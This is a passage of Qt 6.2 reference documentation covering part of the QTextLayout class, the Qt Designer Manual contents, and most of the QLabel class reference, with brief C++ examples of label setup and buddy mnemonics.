 Returns the glyph indexes and positions for all glyphs corresponding to the *length* characters starting at the position *from* in this [QTextLayout](qtextlayout). This is an expensive function, and should not be called in a time sensitive context.

 If *from* is less than zero, then the glyph run will begin at the first character in the layout. If *length* is less than zero, it will span the entire string from the start position.

 **See also** [draw](qtextlayout#draw)() and [QPainter::drawGlyphRun](qpainter#drawGlyphRun)().

 ### 
bool QTextLayout::isValidCursorPosition(int *pos*) const

 / Returns `true` if position *pos* is a valid cursor position.

 In a Unicode context some positions in the text are not valid cursor positions, because the position is inside a Unicode surrogate or a grapheme cluster.

 A grapheme cluster is a sequence of two or more Unicode characters that form one indivisible entity on the screen. For example the latin character `Ä' can be represented in Unicode by two characters, `A' (0x41), and the combining diaeresis (0x308). A text cursor can only validly be positioned before or after these two characters, never between them since that wouldn't make sense. In indic languages every syllable forms a grapheme cluster.

 ### 
int QTextLayout::leftCursorPosition(int *oldPos*) const

 Returns the cursor position to the left of *oldPos*, next to it. It's dependent on the visual position of characters, after bi-directional reordering.

 **See also** [rightCursorPosition](qtextlayout#rightCursorPosition)() and [previousCursorPosition](qtextlayout#previousCursorPosition)().

 ### 
[QTextLine](qtextline) QTextLayout::lineAt(int *i*) const

 Returns the *i*-th line of text in this text layout.

 **See also** [lineCount](qtextlayout#lineCount)() and [lineForTextPosition](qtextlayout#lineForTextPosition)().

 ### 
int QTextLayout::lineCount() const

 Returns the number of lines in this text layout.

 **See also** [lineAt](qtextlayout#lineAt)().

 ### 
[QTextLine](qtextline) QTextLayout::lineForTextPosition(int *pos*) const

 Returns the line that contains the cursor position specified by *pos*.

 **See also** [isValidCursorPosition](qtextlayout#isValidCursorPosition)() and [lineAt](qtextlayout#lineAt)().

 ### 
[qreal](qtglobal#qreal-typedef) QTextLayout::maximumWidth() const

 The maximum width the layout could expand to; this is essentially the width of the entire text.

  **Warning:** This function only returns a valid value after the layout has been done.

  **See also** [minimumWidth](qtextlayout#minimumWidth)().

 ### 
[qreal](qtglobal#qreal-typedef) QTextLayout::minimumWidth() const

 The minimum width the layout needs. This is the width of the layout's smallest non-breakable substring.

  **Warning:** This function only returns a valid value after the layout has been done.

  **See also** [maximumWidth](qtextlayout#maximumWidth)().

 ### 
int QTextLayout::nextCursorPosition(int *oldPos*, [QTextLayout::CursorMode](qtextlayout#CursorMode-enum) *mode* = SkipCharacters) const

 Returns the next valid cursor position after *oldPos* that respects the given cursor *mode*. Returns value of *oldPos*, if *oldPos* is not a valid cursor position.

 **See also** [isValidCursorPosition](qtextlayout#isValidCursorPosition)() and [previousCursorPosition](qtextlayout#previousCursorPosition)().

 ### 
[QPointF](qpointf) QTextLayout::position() const

 The global position of the layout. This is independent of the bounding rectangle and of the layout process.

 **See also** [setPosition](qtextlayout#setPosition)().

 ### 
int QTextLayout::preeditAreaPosition() const

 Returns the position of the area in the text layout that will be processed before editing occurs.

 **See also** [preeditAreaText](qtextlayout#preeditAreaText)().

 ### 
[QString](qstring) QTextLayout::preeditAreaText() const

 Returns the text that is inserted in the layout before editing occurs.

 **See also** [preeditAreaPosition](qtextlayout#preeditAreaPosition)().

 ### 
int QTextLayout::previousCursorPosition(int *oldPos*, [QTextLayout::CursorMode](qtextlayout#CursorMode-enum) *mode* = SkipCharacters) const

 Returns the first valid cursor position before *oldPos* that respects the given cursor *mode*. Returns value of *oldPos*, if *oldPos* is not a valid cursor position.

 **See also** [isValidCursorPosition](qtextlayout#isValidCursorPosition)() and [nextCursorPosition](qtextlayout#nextCursorPosition)().

 ### 
int QTextLayout::rightCursorPosition(int *oldPos*) const

 Returns the cursor position to the right of *oldPos*, next to it. It's dependent on the visual position of characters, after bi-directional reordering.

 **See also** [leftCursorPosition](qtextlayout#leftCursorPosition)() and [nextCursorPosition](qtextlayout#nextCursorPosition)().

 ### 
void QTextLayout::setCacheEnabled(bool *enable*)

 Enables caching of the complete layout information if *enable* is true; otherwise disables layout caching. Usually [QTextLayout](qtextlayout) throws most of the layouting information away after a call to [endLayout](qtextlayout#endLayout)() to reduce memory consumption. If you however want to draw the laid out text directly afterwards enabling caching might speed up drawing significantly.

 **See also** [cacheEnabled](qtextlayout#cacheEnabled)().

 ### 
void QTextLayout::setCursorMoveStyle([Qt::CursorMoveStyle](qt#CursorMoveStyle-enum) *style*)

 Sets the visual cursor movement style to the given *style*. If the [QTextLayout](qtextlayout) is backed by a document, you can ignore this and use the option in [QTextDocument](qtextdocument), this option is for widgets like [QLineEdit](qlineedit) or custom widgets without a [QTextDocument](qtextdocument). Default value is [Qt::LogicalMoveStyle](qt#CursorMoveStyle-enum).

 **See also** [cursorMoveStyle](qtextlayout#cursorMoveStyle)().

 ### 
void QTextLayout::setFont(const [QFont](qfont) &*font*)

 Sets the layout's font to the given *font*. The layout is invalidated and must be laid out again.

 **See also** [font](qtextlayout#font)().

 ### 
`[since 5.6]` void QTextLayout::setFormats(const [QList](qlist)<[QTextLayout::FormatRange](qtextlayout-formatrange)> &*formats*)

 Sets the additional formats supported by the text layout to *formats*. The formats are applied with preedit area text in place.

 This function was introduced in Qt 5.6.

 **See also** [formats](qtextlayout#formats)() and [clearFormats](qtextlayout#clearFormats)().

 ### 
void QTextLayout::setPosition(const [QPointF](qpointf) &*p*)

 Moves the text layout to point *p*.

 **See also** [position](qtextlayout#position)().

 ### 
void QTextLayout::setPreeditArea(int *position*, const [QString](qstring) &*text*)

 Sets the *position* and *text* of the area in the layout that is processed before editing occurs. The layout is invalidated and must be laid out again.

 **See also** [preeditAreaPosition](qtextlayout#preeditAreaPosition)() and [preeditAreaText](qtextlayout#preeditAreaText)().

 ### 
void QTextLayout::setText(const [QString](qstring) &*string*)

 Sets the layout's text to the given *string*. The layout is invalidated and must be laid out again.

 Notice that when using this [QTextLayout](qtextlayout) as part of a [QTextDocument](qtextdocument) this method will have no effect.

 **See also** [text](qtextlayout#text)().

 ### 
void QTextLayout::setTextOption(const [QTextOption](qtextoption) &*option*)

 Sets the text option structure that controls the layout process to the given *option*.

 **See also** [textOption](qtextlayout#textOption)().

 ### 
[QString](qstring) QTextLayout::text() const

 Returns the layout's text.

 **See also** [setText](qtextlayout#setText)().

 ### const [QTextOption](qtextoption) &QTextLayout::textOption() const

 Returns the current text option used to control the layout process.

 **See also** [setTextOption](qtextlayout#setTextOption)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtextlayout.html>

Qt Designer Manual
==================

 *Qt Designer* is the Qt tool for designing and building graphical user interfaces (GUIs) with [Qt Widgets](qtwidgets-index). You can compose and customize your windows or dialogs in a what-you-see-is-what-you-get (WYSIWYG) manner, and test them using different styles and resolutions.

 Widgets and forms created with *Qt Designer* integrate seamlessly with programmed code, using Qt's signals and slots mechanism, so that you can easily assign behavior to graphical elements. All properties set in *Qt Designer* can be changed dynamically within the code. Furthermore, features like widget promotion and custom plugins allow you to use your own components with *Qt Designer*.

  **Note:** You have the option of using [Qt Quick](qtquick-index) for user interface design rather than widgets. It is a much easier way to write many kinds of applications. It enables a completely customizable appearance, touch-reactive elements, and smooth animated transitions, backed up by the power of OpenGL graphics acceleration.

  If you are new to *Qt Designer*, you can take a look at the [Getting To Know Qt Designer](designer-to-know) document. For a quick tutorial on how to use *Qt Designer*, refer to [A Quick Start to Qt Designer](designer-quick-start).

 ![]


Table of Contents
-----------------

 * [A Quick Start to Qt Designer](designer-quick-start)
* [Qt Designer's Editing Modes](designer-editing-mode)
	+ [Widget Editing Mode](designer-widget-mode)
	+ [Signals and Slots Editing Mode](designer-connection-mode)
	+ [Buddy Editing Mode](designer-buddy-mode)
	+ [Tab Order Editing Mode](designer-tab-order)
* [Using Layouts in Qt Designer](designer-layouts)
* [Saving, Previewing and Printing Forms in Qt Designer](designer-preview)
* [Using Containers in Qt Designer](designer-using-containers)
* [Creating Main Windows in Qt Designer](designer-creating-mainwindows)
* [Editing Resources with Qt Designer](designer-resources)
* [Using Stylesheets with Qt Designer](designer-stylesheet)
* [Using a Designer UI File in Your C++ Application](designer-using-a-ui-file)
* [Using a Designer UI File in Your Qt for Python Application](designer-using-a-ui-file-python)
* Advanced Use
	+ [Customizing Qt Designer Forms](designer-customizing-forms)
	+ [Using Custom Widgets with Qt Designer](designer-using-custom-widgets)
	+ [Creating Custom Widgets for Qt Designer](designer-creating-custom-widgets)
	+ [Creating Custom Widget Extensions](designer-creating-custom-widgets-extensions)
	+ [Qt Designer's UI File Format](designer-ui-file-format)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtdesigner-manual.html>

QLabel Class
============

 The QLabel widget provides a text or image display. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QLabel> |
|  CMake: |  find\_package(Qt6 COMPONENTS Widgets REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Widgets) |
|  qmake: |  QT += widgets |
|  Inherits: | [QFrame](qframe) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qlabel-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qlabel-obsolete.html)

 Properties
----------

 

|  |  |
| --- | --- |
| * **[alignment](qlabel#alignment-prop)** : Qt::Alignment
* **[hasSelectedText](qlabel#hasSelectedText-prop)** : const bool
* **[indent](qlabel#indent-prop)** : int
* **[margin](qlabel#margin-prop)** : int
* **[openExternalLinks](qlabel#openExternalLinks-prop)** : bool
* **[pixmap](qlabel#pixmap-prop)** : QPixmap
 | * **[scaledContents](qlabel#scaledContents-prop)** : bool
* **[selectedText](qlabel#selectedText-prop)** : const QString
* **[text](qlabel#text-prop)** : QString
* **[textFormat](qlabel#textFormat-prop)** : Qt::TextFormat
* **[textInteractionFlags](qlabel#textInteractionFlags-prop)** : Qt::TextInteractionFlags
* **[wordWrap](qlabel#wordWrap-prop)** : bool
 |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QLabel](qlabel#QLabel-1)**(const QString &*text*, QWidget \**parent* = nullptr, Qt::WindowFlags *f* = Qt::WindowFlags()) |
|  | **[QLabel](qlabel#QLabel)**(QWidget \**parent* = nullptr, Qt::WindowFlags *f* = Qt::WindowFlags()) |
|  virtual  | **[~QLabel](qlabel#dtor.QLabel)**() |
|  Qt::Alignment  | **[alignment](qlabel#alignment-prop)**() const |
|  QWidget \* | **[buddy](qlabel#buddy)**() const |
|  bool  | **[hasScaledContents](qlabel#scaledContents-prop)**() const |
|  bool  | **[hasSelectedText](qlabel#hasSelectedText-prop)**() const |
|  int  | **[indent](qlabel#indent-prop)**() const |
|  int  | **[margin](qlabel#margin-prop)**() const |
|  QMovie \* | **[movie](qlabel#movie)**() const |
|  bool  | **[openExternalLinks](qlabel#openExternalLinks-prop)**() const |
|  QPicture  | **[picture](qlabel#picture-1)**() const |
|  QPixmap  | **[pixmap](qlabel#pixmap-prop)**() const |
|  QTextDocument::ResourceProvider  | **[resourceProvider](qlabel#resourceProvider)**() const |
|  QString  | **[selectedText](qlabel#selectedText-prop)**() const |
|  int  | **[selectionStart](qlabel#selectionStart)**() const |
|  void  | **[setAlignment](qlabel#alignment-prop)**(Qt::Alignment) |
|  void  | **[setBuddy](qlabel#setBuddy)**(QWidget \**buddy*) |
|  void  | **[setIndent](qlabel#indent-prop)**(int) |
|  void  | **[setMargin](qlabel#margin-prop)**(int) |
|  void  | **[setOpenExternalLinks](qlabel#openExternalLinks-prop)**(bool *open*) |
|  void  | **[setResourceProvider](qlabel#setResourceProvider)**(const QTextDocument::ResourceProvider &*provider*) |
|  void  | **[setScaledContents](qlabel#scaledContents-prop)**(bool) |
|  void  | **[setSelection](qlabel#setSelection)**(int *start*, int *length*) |
|  void  | **[setTextFormat](qlabel#textFormat-prop)**(Qt::TextFormat) |
|  void  | **[setTextInteractionFlags](qlabel#textInteractionFlags-prop)**(Qt::TextInteractionFlags *flags*) |
|  void  | **[setWordWrap](qlabel#wordWrap-prop)**(bool *on*) |
|  QString  | **[text](qlabel#text-prop)**() const |
|  Qt::TextFormat  | **[textFormat](qlabel#textFormat-prop)**() const |
|  Qt::TextInteractionFlags  | **[textInteractionFlags](qlabel#textInteractionFlags-prop)**() const |
|  bool  | **[wordWrap](qlabel#wordWrap-prop)**() const |

 Reimplemented Public Functions
------------------------------

 

|  |  |
| --- | --- |
|  virtual int  | **[heightForWidth](qlabel#heightForWidth)**(int *w*) const override |
|  virtual QSize  | **[minimumSizeHint](qlabel#minimumSizeHint)**() const override |
|  virtual QSize  | **[sizeHint](qlabel#sizeHint)**() const override |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[clear](qlabel#clear)**() |
|  void  | **[setMovie](qlabel#setMovie)**(QMovie \**movie*) |
|  void  | **[setNum](qlabel#setNum-1)**(double *num*) |
|  void  | **[setNum](qlabel#setNum)**(int *num*) |
|  void  | **[setPicture](qlabel#setPicture)**(const QPicture &*picture*) |
|  void  | **[setPixmap](qlabel#pixmap-prop)**(const QPixmap &) |
|  void  | **[setText](qlabel#text-prop)**(const QString &) |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[linkActivated](qlabel#linkActivated)**(const QString &*link*) |
|  void  | **[linkHovered](qlabel#linkHovered)**(const QString &*link*) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[changeEvent](qlabel#changeEvent)**(QEvent \**ev*) override |
|  virtual void  | **[contextMenuEvent](qlabel#contextMenuEvent)**(QContextMenuEvent \**ev*) override |
|  virtual bool  | **[event](qlabel#event)**(QEvent \**e*) override |
|  virtual void  | **[focusInEvent](qlabel#focusInEvent)**(QFocusEvent \**ev*) override |
|  virtual bool  | **[focusNextPrevChild](qlabel#focusNextPrevChild)**(bool *next*) override |
|  virtual void  | **[focusOutEvent](qlabel#focusOutEvent)**(QFocusEvent \**ev*) override |
|  virtual void  | **[keyPressEvent](qlabel#keyPressEvent)**(QKeyEvent \**ev*) override |
|  virtual void  | **[mouseMoveEvent](qlabel#mouseMoveEvent)**(QMouseEvent \**ev*) override |
|  virtual void  | **[mousePressEvent](qlabel#mousePressEvent)**(QMouseEvent \**ev*) override |
|  virtual void  | **[mouseReleaseEvent](qlabel#mouseReleaseEvent)**(QMouseEvent \**ev*) override |
|  virtual void  | **[paintEvent](qlabel#paintEvent)**(QPaintEvent \*) override |

 Detailed Description
--------------------

 ![]


QLabel is used for displaying text or an image. No user interaction functionality is provided. The visual appearance of the label can be configured in various ways, and it can be used for specifying a focus mnemonic key for another widget.

 A QLabel can contain any of the following content types:

 

| Content | Setting |
| --- | --- |
| Plain text | Pass a [QString](qstring) to [setText](qlabel#text-prop)(). |
| Rich text | Pass a [QString](qstring) that contains rich text to [setText](qlabel#text-prop)(). |
| A pixmap | Pass a [QPixmap](qpixmap) to [setPixmap](qlabel#pixmap-prop)(). |
| A movie | Pass a [QMovie](qmovie) to [setMovie](qlabel#setMovie)(). |
| A number | Pass an *int* or a *double* to [setNum](qlabel#setNum)(), which converts the number to plain text. |
| Nothing | The same as an empty plain text. This is the default. Set by [clear](qlabel#clear)(). |

  **Warning:** When passing a [QString](qstring) to the constructor or calling [setText](qlabel#text-prop)(), make sure to sanitize your input, as QLabel tries to guess whether it displays the text as plain text or as rich text, a subset of HTML 4 markup. You may want to call [setTextFormat](qlabel#textFormat-prop)() explicitly, e.g. in case you expect the text to be in plain format but cannot control the text source (for instance when displaying data loaded from the Web).

  When the content is changed using any of these functions, any previous content is cleared.

 By default, labels display [left-aligned, vertically-centered](stylesheet-reference#alignment) text and images, where any tabs in the text to be displayed are [automatically expanded](qt#TextFlag-enum). However, the look of a QLabel can be adjusted and fine-tuned in several ways.

 The positioning of the content within the QLabel widget area can be tuned with [setAlignment](qlabel#alignment-prop)() and [setIndent](qlabel#indent-prop)(). Text content can also wrap lines along word boundaries with [setWordWrap](qlabel#wordWrap-prop)(). For example, this code sets up a sunken panel with a two-line text in the bottom right corner (both lines being flush with the right side of the label):

 
```
QLabel *label = new QLabel(this);
label->setFrameStyle(QFrame::Panel | QFrame::Sunken);
label->setText("first line\nsecond line");
label->setAlignment(Qt::AlignBottom | Qt::AlignRight);
```
 The properties and functions QLabel inherits from [QFrame](qframe) can also be used to specify the widget frame to be used for any given label.

 A QLabel is often used as a label for an interactive widget. For this use QLabel provides a useful mechanism for adding an mnemonic (see [QKeySequence](qkeysequence)) that will set the keyboard focus to the other widget (called the QLabel's "buddy"). For example:

 
```
QLineEdit *phoneEdit = new QLineEdit(this);
QLabel *phoneLabel = new QLabel("&Phone:", this);
phoneLabel->setBuddy(phoneEdit);
```
 In this example, keyboard focus is transferred to the label's buddy (the [QLineEdit](qlineedit)) when the user presses Alt+P. If the buddy was a button (inheriting from [QAbstractButton](qabstractbutton)), triggering the mnemonic would emulate a button click.

 **See also** [QLineEdit](qlineedit), [QTextEdit](qtextedit), [QPixmap](qpixmap), [QMovie](qmovie), and [GUI Design Handbook: Label](https://doc.qt.io/qt-6.2/guibooks.html#fowler).

  Property Documentation
----------------------

 ### 
alignment : [Qt::Alignment](qt#AlignmentFlag-enum)

 This property holds the alignment of the label's contents

 By default, the contents of the label are left-aligned and vertically-centered.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::Alignment  | **alignment**() const |
|  void  | **setAlignment**(Qt::Alignment) |

 **See also** [text](qlabel#text-prop).

 ### 
`[read-only]` hasSelectedText : const bool

 This property holds whether there is any text selected

 hasSelectedText() returns `true` if some or all of the text has been selected by the user; otherwise returns `false`.

 By default, this property is `false`.

 **Note:** The [textInteractionFlags](qlabel#textInteractionFlags-prop) set on the label need to include either TextSelectableByMouse or TextSelectableByKeyboard.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **hasSelectedText**() const |

 **See also** [selectedText](qlabel#selectedText-prop)().

 ### 
indent : int

 This property holds the label's text indent in pixels

 If a label displays text, the indent applies to the left edge if [alignment](qlabel#alignment-prop)() is [Qt::AlignLeft](qt#AlignmentFlag-enum), to the right edge if [alignment](qlabel#alignment-prop)() is [Qt::AlignRight](qt#AlignmentFlag-enum), to the top edge if [alignment](qlabel#alignment-prop)() is [Qt::AlignTop](qt#AlignmentFlag-enum), and to the bottom edge if [alignment](qlabel#alignment-prop)() is [Qt::AlignBottom](qt#AlignmentFlag-enum).

 If indent is negative, or if no indent has been set, the label computes the effective indent as follows: If [frameWidth](qframe#frameWidth-prop)() is 0, the effective indent becomes 0. If [frameWidth](qframe#frameWidth-prop)() is greater than 0, the effective indent becomes half the width of the "x" character of the widget's current [font](qwidget#font-prop)().

 By default, the indent is -1, meaning that an effective indent is calculating in the manner described above.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **indent**() const |
|  void  | **setIndent**(int) |

 **See also** [alignment](stylesheet-reference#alignment), [margin](qlabel#margin-prop), [frameWidth](qframe#frameWidth-prop)(), and [font](qwidget#font-prop)().

 ### 
margin : int

 This property holds the width of the margin

 The margin is the distance between the innermost pixel of the frame and the outermost pixel of contents.

 The default margin is 0.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **margin**() const |
|  void  | **setMargin**(int) |

 **See also** [indent](qlabel#indent-prop).

 ### 
openExternalLinks : bool

 Specifies whether [QLabel](qlabel) should automatically open links using [QDesktopServices::openUrl](qdesktopservices#openUrl)() instead of emitting the [linkActivated](qlabel#linkActivated)() signal.

 **Note:** The [textInteractionFlags](qlabel#textInteractionFlags-prop) set on the label need to include either LinksAccessibleByMouse or LinksAccessibleByKeyboard.

 The default value is false.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **openExternalLinks**() const |
|  void  | **setOpenExternalLinks**(bool *open*) |

 **See also** [textInteractionFlags](qlabel#textInteractionFlags-prop)().

 ### 
pixmap : [QPixmap](qpixmap)

 This property holds the label's pixmap.

 Setting the pixmap clears any previous content. The buddy shortcut, if any, is disabled.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QPixmap  | **pixmap**() const |
|  void  | **setPixmap**(const QPixmap &) |

 ### 
scaledContents : bool

 This property holds whether the label will scale its contents to fill all available space.

 When enabled and the label shows a pixmap, it will scale the pixmap to fill the available space.

 This property's default is false.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **hasScaledContents**() const |
|  void  | **setScaledContents**(bool) |

 ### 
`[read-only]` selectedText : const [QString](qstring)

 This property holds the selected text

 If there is no selected text this property's value is an empty string.

 By default, this property contains an empty string.

 **Note:** The [textInteractionFlags](qlabel#textInteractionFlags-prop) set on the label need to include either TextSelectableByMouse or TextSelectableByKeyboard.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **selectedText**() const |

 **See also** [hasSelectedText](qlabel#hasSelectedText-prop)().

 ### 
text : [QString](qstring)

 This property holds the label's text

 If no text has been set this will return an empty string. Setting the text clears any previous content.

 The text will be interpreted either as plain text or as rich text, depending on the text format setting; see [setTextFormat](qlabel#textFormat-prop)(). The default setting is [Qt::AutoText](qt#TextFormat-enum); i.e. [QLabel](qlabel) will try to auto-detect the format of the text set. See [Supported HTML Subset](richtext-html-subset) for the definition of rich text.

 If a buddy has been set, the buddy mnemonic key is updated from the new text.

 Note that [QLabel](qlabel) is well-suited to display small rich text documents, such as small documents that get their document specific settings (font, text color, link color) from the label's palette and font properties. For large documents, use [QTextEdit](qtextedit) in read-only mode instead. [QTextEdit](qtextedit) can also provide a scroll bar when necessary.

  **Note:** This function enables mouse tracking if *text* contains rich text.

  **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **text**() const |
|  void  | **setText**(const QString &) |

 **See also** [setTextFormat](qlabel#textFormat-prop)(), [setBuddy](qlabel#setBuddy)(), and [alignment](stylesheet-reference#alignment).

 ### 
textFormat : [Qt::TextFormat](qt#TextFormat-enum)

 This property holds the label's text format

 See the [Qt::TextFormat](qt#TextFormat-enum) enum for an explanation of the possible options.

 The default format is [Qt::AutoText](qt#TextFormat-enum).

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::TextFormat  | **textFormat**() const |
|  void  | **setTextFormat**(Qt::TextFormat) |

 **See also** [text](qlabel#text-prop)().

 ### 
textInteractionFlags : [Qt::TextInteractionFlags](qt#TextInteractionFlag-enum)

 Specifies how the label should interact with user input if it displays text.

 If the flags contain [Qt::LinksAccessibleByKeyboard](qt#TextInteractionFlag-enum) the focus policy is also automatically set to [Qt::StrongFocus](qt#FocusPolicy-enum). If [Qt::TextSelectableByKeyboard](qt#TextInteractionFlag-enum) is set then the focus policy is set to [Qt::ClickFocus](qt#FocusPolicy-enum).

 The default value is [Qt::LinksAccessibleByMouse](qt#TextInteractionFlag-enum).

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::TextInteractionFlags  | **textInteractionFlags**() const |
|  void  | **setTextInteractionFlags**(Qt::TextInteractionFlags *flags*) |

 ### 
wordWrap : bool

 This property holds the label's word-wrapping policy

 If this property is `true` then label text is wrapped where necessary at word-breaks; otherwise it is not wrapped at all.

 By default, word wrap is disabled.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **wordWrap**() const |
|  void  | **setWordWrap**(bool *on*) |

 **See also** [text](qlabel#text-prop).

  Member Function Documentation
-----------------------------

 ### QLabel::QLabel(const [QString](qstring) &*text*, [QWidget](qwidget#QWidget) \**parent* = nullptr, [Qt::WindowFlags](qt#WindowType-enum) *f* = Qt::WindowFlags())

 Constructs a label that displays the text, *text*.

 The *parent* and widget flag *f*, arguments are passed to the [QFrame](qframe) constructor.

 **See also** [setText](qlabel#text-prop)(), [setAlignment](qlabel#alignment-prop)(), [setFrameStyle](qframe#setFrameStyle)(), and [setIndent](qlabel#indent-prop)().

 ### QLabel::QLabel([QWidget](qwidget#QWidget) \**parent* = nullptr, [Qt::WindowFlags](qt#WindowType-enum) *f* = Qt::WindowFlags())

 Constructs an empty label.

 The *parent* and widget flag *f*, arguments are passed to the [QFrame](qframe) constructor.

 **See also** [setAlignment](qlabel#alignment-prop)(), [setFrameStyle](qframe#setFrameStyle)(), and [setIndent](qlabel#indent-prop)().

 ### 
`[slot]` void QLabel::clear()

 Clears any label contents.

 ### 
`[signal]` void QLabel::linkActivated(const [QString](qstring) &*link*)

 This signal is emitted when the user clicks a link. The URL referred to by the anchor is passed in *link*.

 **See also** [linkHovered](qlabel#linkHovered)().

 ### 
`[signal]` void QLabel::linkHovered(const [QString](qstring) &*link*)

 This signal is emitted when the user hovers over a link. The URL referred to by the anchor is passed in *link*.

 **See also** [linkActivated](qlabel#linkActivated)().

 ### 
`[slot]` void QLabel::setMovie([QMovie](qmovie) \**movie*)

 Sets the label contents to *movie*. Any previous content is cleared. The label does NOT take ownership of the movie.

 The buddy shortcut, if any, is disabled.

 **See also** [movie](qlabel#movie)() and [setBuddy](qlabel#setBuddy)().

 ### 
`[slot]` void QLabel::setNum(double *num*)

 This is an overloaded function.

 Sets the label contents to plain text containing the textual representation of double *num*. Any previous content is cleared. Does nothing if the double's string representation is the same as the current contents of the label.

 The buddy shortcut, if any, is disabled.

 **See also** [setText](qlabel#text-prop)(), [QString::setNum](qstring#setNum)(), and [setBuddy](qlabel#setBuddy)().

 ### 
`[slot]` void QLabel::setNum(int *num*)

 Sets the label contents to plain text containing the textual representation of integer *num*. Any previous content is cleared. Does nothing if the integer's string representation is the same as the current contents of the label.

 The buddy shortcut, if any, is disabled.

 **See also** [setText](qlabel#text-prop)(), [QString::setNum](qstring#setNum)(), and [setBuddy](qlabel#setBuddy)().

 ### 
`[slot]` void QLabel::setPicture(const [QPicture](qpicture) &*picture*)

 Sets the label contents to *picture*. Any previous content is cleared.

 The buddy shortcut, if any, is disabled.

 **See also** [picture](qlabel#picture-1)() and [setBuddy](qlabel#setBuddy)().

 ### 
`[virtual]` QLabel::~QLabel()

 Destroys the label.

 ### 
[QWidget](qwidget#QWidget) \*QLabel::buddy() const

 Returns this label's buddy, or nullptr if no buddy is currently set.

 **See also** [setBuddy](qlabel#setBuddy)().

 ### 
`[override virtual protected]` void QLabel::changeEvent([QEvent](qevent) \**ev*)

 Reimplements: [QFrame::changeEvent](qframe#changeEvent)(QEvent \*ev).

 ### 
`[override virtual protected]` void QLabel::contextMenuEvent([QContextMenuEvent](qcontextmenuevent) \**ev*)

 Reimplements: [QWidget::contextMenuEvent](qwidget#contextMenuEvent)(QContextMenuEvent \*event).

 ### 
`[override virtual protected]` bool QLabel::event([QEvent](qevent) \**e*)

 Reimplements: [QFrame::event](qframe#event)(QEvent \*e).

 ### 
`[override virtual protected]` void QLabel::focusInEvent([QFocusEvent](qfocusevent) \**ev*)

 Reimplements: [QWidget::focusInEvent](qwidget#focusInEvent)(QFocusEvent \*event).

 ### 
`[override virtual protected]` bool QLabel::focusNextPrevChild(bool *next*)

 Reimplements: [QWidget::focusNextPrevChild](qwidget#focusNextPrevChild)(bool next).

 ### 
`[override virtual protected]` void QLabel::focusOutEvent([QFocusEvent](qfocusevent) \**ev*)

 Reimplements: [QWidget::focusOutEvent](qwidget#focusOutEvent)(QFocusEvent \*event).

 ### 
`[override virtual]` int QLabel::heightForWidth(int *w*) const

 Reimplements: [QWidget::heightForWidth(int w) const](qwidget#heightForWidth).

 ### 
`[override virtual protected]` void QLabel::keyPressEvent([QKeyEvent](qkeyevent) \**ev*)

 Reimplements: [QWidget::keyPressEvent](qwidget#keyPressEvent)(QKeyEvent \*event).

 ### 
`[override virtual]` [QSize](qsize) QLabel::minimumSizeHint() const

 Reimplements an access function for property: [QWidget::minimumSizeHint](qwidget#minimumSizeHint-prop).

 ### 
`[override virtual protected]` void QLabel::mouseMoveEvent([QMouseEvent](qmouseevent) \**ev*)

 Reimplements: [QWidget::mouseMoveEvent](qwidget#mouseMoveEvent)(QMouseEvent \*event).

 ### 
`[override virtual protected]` void QLabel::mousePressEvent([QMouseEvent](qmouseevent) \**ev*)

 Reimplements: [QWidget::mousePressEvent](qwidget#mousePressEvent)(QMouseEvent \*event).

 ### 
`[override virtual protected]` void QLabel::mouseReleaseEvent([QMouseEvent](qmouseevent) \**ev*)

 Reimplements: [QWidget::mouseReleaseEvent](qwidget#mouseReleaseEvent)(QMouseEvent \*event).

 ### 
[QMovie](qmovie) \*QLabel::movie() const

 Returns a pointer to the label's movie, or nullptr if no movie has been set.

 **See also** [setMovie](qlabel#setMovie)().

 ### 
`[override virtual protected]` void QLabel::paintEvent([QPaintEvent](qpaintevent) \*)

 Reimplements: [QFrame::paintEvent](qframe#paintEvent)(QPaintEvent \*).

 ### 
`[since 6.0]` [QPicture](qpicture) QLabel::picture() const

 Returns the label's picture.

 This function was introduced in Qt 6.0.

 ### 
`[since 6.1]` QTextDocument::ResourceProvider QLabel::resourceProvider() const

 Returns the resource provider for rich text of this label.

 This function was introduced in Qt 6.1.

 **See also** [setResourceProvider](qlabel#setResourceProvider)().

 ### 
int QLabel::selectionStart() const

 selectionStart() returns the index of the first selected character in the label or -1 if no text is selected.

 **Note:** The [textInteractionFlags](qlabel#textInteractionFlags-prop) set on the label need to include either TextSelectableByMouse or TextSelectableByKeyboard.

 **See also** [selectedText](qlabel#selectedText-prop)().

 ### 
void QLabel::setBuddy([QWidget](qwidget#QWidget) \**buddy*)

 Sets this label's buddy to *buddy*.

 When the user presses the shortcut key indicated by this label, the keyboard focus is transferred to the label's buddy widget.

 The buddy mechanism is only available for QLabels that contain text in which one character is prefixed with an ampersand, '&'. This character is set as the shortcut key. See the [QKeySequence::mnemonic](qkeysequence#mnemonic)() documentation for details (to display an actual ampersand, use '&&').

 In a dialog, you might create two data entry widgets and a label for each, and set up the geometry layout so each label is just to the left of its data entry widget (its "buddy"), for example:

 
```
QLineEdit *nameEdit  = new QLineEdit(this);
QLabel    *nameLabel = new QLabel("&Name:", this);
nameLabel->setBuddy(nameEdit);
QLineEdit *phoneEdit  = new QLineEdit(this);
